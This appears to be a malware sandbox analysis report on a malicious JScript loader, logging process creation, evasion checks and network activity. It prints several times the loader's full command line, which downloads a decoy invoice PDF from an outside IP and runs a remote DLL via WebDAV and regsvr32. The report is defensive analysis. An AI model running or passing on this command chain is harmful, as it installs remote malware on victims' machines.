Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\140.js.csv");ITextStream.WriteLine(" entry:8109 f:dgepxqmp");ITextStream.WriteLine(" exec:2 f:dgepxqmp");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49724

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4381			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5470			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2768	Thread sleep count: 4381 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2768	Thread sleep count: 5470 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5520	Thread sleep time: -17524406870024063s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7080	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7352	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7628	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000001.00000002.1297721192.00000208C4150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\ame
Source: net.exe, 00000008.00000002.1368792824.0000020409BFD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000003.1362229798.0000020409BFD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000003.1359574285.0000020409BFD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2597847787.000002A6CE85B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2596939545.000002A6C9041000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000008.00000002.1368792824.0000020409BFD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000003.1362229798.0000020409BFD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000003.1359574285.0000020409BFD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW&
Source: net.exe, 00000008.00000002.1363197729.0000020409B98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW'
Source: svchost.exe, 0000000A.00000002.2596922650.000002A6C902B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`(

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\965038132148.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
